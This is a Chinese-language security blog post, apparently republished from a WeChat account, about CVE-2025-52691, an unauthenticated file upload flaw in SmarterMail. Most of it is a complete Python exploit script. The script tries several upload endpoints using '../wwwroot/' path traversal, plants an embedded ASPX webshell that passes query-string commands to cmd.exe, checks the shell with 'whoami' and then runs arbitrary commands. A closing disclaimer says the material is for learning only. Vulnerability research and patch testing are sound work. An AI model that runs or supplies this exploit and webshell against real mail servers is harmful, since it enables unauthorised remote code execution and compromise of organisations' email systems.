首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2025-52691|SmarterMail 未授权文件上传漏洞(POC)

CVE-2025-52691|SmarterMail 未授权文件上传漏洞(POC)

作者头像
信安百科
发布2026-01-05 19:44:26
发布2026-01-05 19:44:26
9330
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

SmarterMail是一款由SmarterTools公司开发的基于Windows平台的邮件服务器软件,专为中小型企业、教育机构及需要私有化部署的组织设计,提供完整的邮件通信解决方案。其核心定位是作为Microsoft Exchange的轻量级替代方案,无需依赖Active Directory,部署更灵活,运维成本更低。

0x01 漏洞描述

服务器对文件上传过程中的安全校验不足,导致攻击者在无需任何身份认证的情况下,即可向邮件服务器任意路径上传恶意文件。

0x02 CVE编号

CVE-2025-52691

0x03 影响版本

SmarterMail <= 9406

0x04 漏洞详情

POC:

https://github.com/yt2w/CVE-2025-52691

代码语言:javascript
复制
#!/usr/bin/env python3

import sys
import argparse
import requests
import uuid
import base64
from typing import Optional, Tuple
from dataclasses import dataclass
from enum import Enum
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


class ExploitResult(Enum):
    SUCCESS = "success"
    SHELL_UPLOADED = "shell_uploaded"
    FAILED = "failed"
    ERROR = "error"


@dataclass 
class TargetConfig:
    base_url: str
    timeout: int = 30
    verify_ssl: bool = False


class SmarterMailExploit:

    UPLOAD_ENDPOINTS = [
        "/api/upload",
        "/api/v1/upload",
        "/Interface/Frmx/UploadFile.aspx",
        "/MRS/Upload.ashx",
        "/Services/Upload.ashx"
    ]

    ASPX_WEBSHELL = """<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
    string c = Request.QueryString["cmd"];
    if (!string.IsNullOrEmpty(c)) {
        ProcessStartInfo psi = new ProcessStartInfo();
        psi.FileName = "cmd.exe";
        psi.Arguments = "/c " + c;
        psi.RedirectStandardOutput = true;
        psi.UseShellExecute = false;
        Process p = Process.Start(psi);
        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
        p.WaitForExit();
    }
}
</script>"""

    def __init__(self, config: TargetConfig):
        self.config = config
        self.session = requests.Session()
        self.shell_name = None
        self.shell_path = None

    def _request(self, method: str, endpoint: str, **kwargs) -> Optional[requests.Response]:
        url = f"{self.config.base_url}{endpoint}"
        kwargs.setdefault("timeout", self.config.timeout)
        kwargs.setdefault("verify", self.config.verify_ssl)

        try:
            return self.session.request(method, url, **kwargs)
        except requests.exceptions.RequestException:
            return None

    def check_alive(self) -> bool:
        response = self._request("GET", "/")
        return response is not None

    def generate_shell_name(self) -> str:
        return f"{uuid.uuid4().hex[:8]}.aspx"

    def upload_shell_multipart(self, endpoint: str, shell_content: str, filename: str) -> bool:
        files = {
            "file": (filename, shell_content, "application/octet-stream")
        }

        data = {
            "path": "../wwwroot/",
            "folder": "../wwwroot/",
            "directory": "../wwwroot/"
        }

        response = self._request("POST", endpoint, files=files, data=data)

        if response and response.status_code in [200, 201, 204]:
            return True

        return False

    def upload_shell_raw(self, endpoint: str, shell_content: str, filename: str) -> bool:
        headers = {
            "Content-Type": "application/octet-stream",
            "X-Filename": filename,
            "X-Path": "../wwwroot/"
        }

        response = self._request("POST", endpoint, data=shell_content.encode(), headers=headers)

        if response and response.status_code in [200, 201, 204]:
            return True

        return False

    def upload_shell_json(self, endpoint: str, shell_content: str, filename: str) -> bool:
        payload = {
            "filename": filename,
            "content": base64.b64encode(shell_content.encode()).decode(),
            "path": "../wwwroot/",
            "overwrite": True
        }

        headers = {"Content-Type": "application/json"}

        response = self._request("POST", endpoint, json=payload, headers=headers)

        if response and response.status_code in [200, 201, 204]:
            return True

        return False

    def verify_shell(self, shell_name: str) -> Tuple[bool, str]:
        paths = [
            f"/{shell_name}",
            f"/wwwroot/{shell_name}",
            f"/Interface/{shell_name}",
            f"/MRS/{shell_name}"
        ]

        for path in paths:
            response = self._request("GET", f"{path}?cmd=whoami")
            if response and response.status_code == 200:
                if "pre" in response.text.lower() or "\\" in response.text:
                    return True, path

        return False, ""

    def execute_command(self, command: str) -> Optional[str]:
        if not self.shell_path:
            return None

        response = self._request("GET", f"{self.shell_path}?cmd={command}")

        if response and response.status_code == 200:
            import re
            match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
            if match:
                return match.group(1).strip()
            return response.text

        return None

    def exploit(self) -> ExploitResult:
        if not self.check_alive():
            return ExploitResult.ERROR

        self.shell_name = self.generate_shell_name()

        for endpoint in self.UPLOAD_ENDPOINTS:
            upload_methods = [
                self.upload_shell_multipart,
                self.upload_shell_raw,
                self.upload_shell_json
            ]

            for upload_method in upload_methods:
                try:
                    if upload_method(endpoint, self.ASPX_WEBSHELL, self.shell_name):
                        success, path = self.verify_shell(self.shell_name)
                        if success:
                            self.shell_path = path
                            return ExploitResult.SHELL_UPLOADED
                except Exception:
                    continue

        success, path = self.verify_shell(self.shell_name)
        if success:
            self.shell_path = path
            return ExploitResult.SHELL_UPLOADED

        return ExploitResult.FAILED


def parse_arguments() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="CVE-2025-52691: SmarterMail Arbitrary File Upload RCE",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )

    parser.add_argument("target", help="Target URL (e.g., http://mail.example.com)")
    parser.add_argument("-c", "--command", help="Command to execute after upload")
    parser.add_argument("-t", "--timeout", type=int, default=30, help="Request timeout")
    parser.add_argument("--check-only", action="store_true", help="Only check if target is alive")

    return parser.parse_args()


def main() -> int:
    args = parse_arguments()

    base_url = args.target.rstrip("/")
    if not base_url.startswith("http"):
        base_url = f"https://{base_url}"

    config = TargetConfig(base_url=base_url, timeout=args.timeout)
    exploit = SmarterMailExploit(config)

    print(f"\n[*] Target: {config.base_url}")
    print(f"[*] CVE-2025-52691: SmarterMail Arbitrary File Upload RCE\n")

    if not exploit.check_alive():
        print("[-] Target is not reachable")
        return 1

    print("[+] Target is alive")

    if args.check_only:
        print("[*] Check only mode - target appears to be SmarterMail")
        return 0

    print("[*] Attempting unauthenticated file upload...")
    print(f"[*] Shell name: {exploit.shell_name or exploit.generate_shell_name()}")

    result = exploit.exploit()

    if result == ExploitResult.SHELL_UPLOADED:
        print(f"\n[!] WEBSHELL UPLOADED SUCCESSFULLY")
        print(f"[+] Shell path: {exploit.shell_path}")
        print(f"[+] Access: {config.base_url}{exploit.shell_path}?cmd=<command>")

        if args.command:
            print(f"\n[*] Executing: {args.command}")
            output = exploit.execute_command(args.command)
            if output:
                print(f"[+] Output:\n{output}")

        return 0

    else:
        print("[-] Exploit failed - target may be patched or different version")
        return 1


if __name__ == "__main__":
    sys.exit(main())

0x05 参考链接

https://www.smartertools.com/smartermail/downloads/

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-01-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档